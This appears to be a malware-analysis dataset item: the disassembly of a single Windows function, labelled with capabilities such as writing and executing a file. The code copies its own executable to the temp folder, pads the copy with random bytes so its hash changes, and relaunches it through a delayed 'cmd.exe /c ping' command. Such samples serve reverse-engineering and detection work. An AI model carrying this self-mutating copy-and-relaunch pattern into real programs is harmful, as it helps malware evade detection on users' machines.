Function at 0x401c9f
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74c
push edi
push 0x100000
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x338], eax
push 0x100000
push 0
mov ecx, dword [ebp - 0x338]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x220], 0
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x338]
push edx
call fcn.00401ba1
add esp, 0xc
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x338]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x4d
je 0x401d49
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x338]
push edx
call fcn.00401ba1
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401d0f
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x114], 0
xor eax, eax
mov dword [ebp - 0x113], eax
mov dword [ebp - 0x10f], eax
mov dword [ebp - 0x10b], eax
mov word [ebp - 0x107], ax
mov byte [ebp - 0x105], al
push 5
lea ecx, [ebp - 0x114]
push ecx
call fcn.00401b0b
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x200
div ecx
mov dword [ebp - 0x32c], edx
mov byte [ebp - 0x324], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x323]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x324]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x324]
push ecx
push 0x407164
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x334], eax
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
mov ecx, dword [ebp - 0x32c]
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x744], eax
mov edx, dword [ebp - 0x744]
mov dword [ebp - 0x330], edx
mov dword [ebp - 0x21c], 0
jmp 0x401e74
mov eax, dword [ebp - 0x21c]
add eax, 1
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x21c]
cmp ecx, dword [ebp - 0x32c]
jae 0x401ea6
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
sub edx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x330]
add eax, dword [ebp - 0x21c]
mov byte [eax], dl
jmp 0x401e65
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x328]
push ecx
mov edx, dword [ebp - 0x220]
push edx
mov eax, dword [ebp - 0x338]
push eax
mov ecx, dword [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x32c]
push eax
mov ecx, dword [ebp - 0x330]
push ecx
mov edx, dword [ebp - 0x334]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x334]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x748], ecx
mov edx, dword [ebp - 0x748]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x74c], eax
mov ecx, dword [ebp - 0x74c]
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x338], 0
mov byte [ebp - 0x738], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x737]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x218], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p___argv]
mov edx, dword [eax]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x104]
push eax
push str.cmd.exe__c_ping_127.0.0.1__n_2_s___s_
lea ecx, [ebp - 0x738]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
lea edx, [ebp - 0x738]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]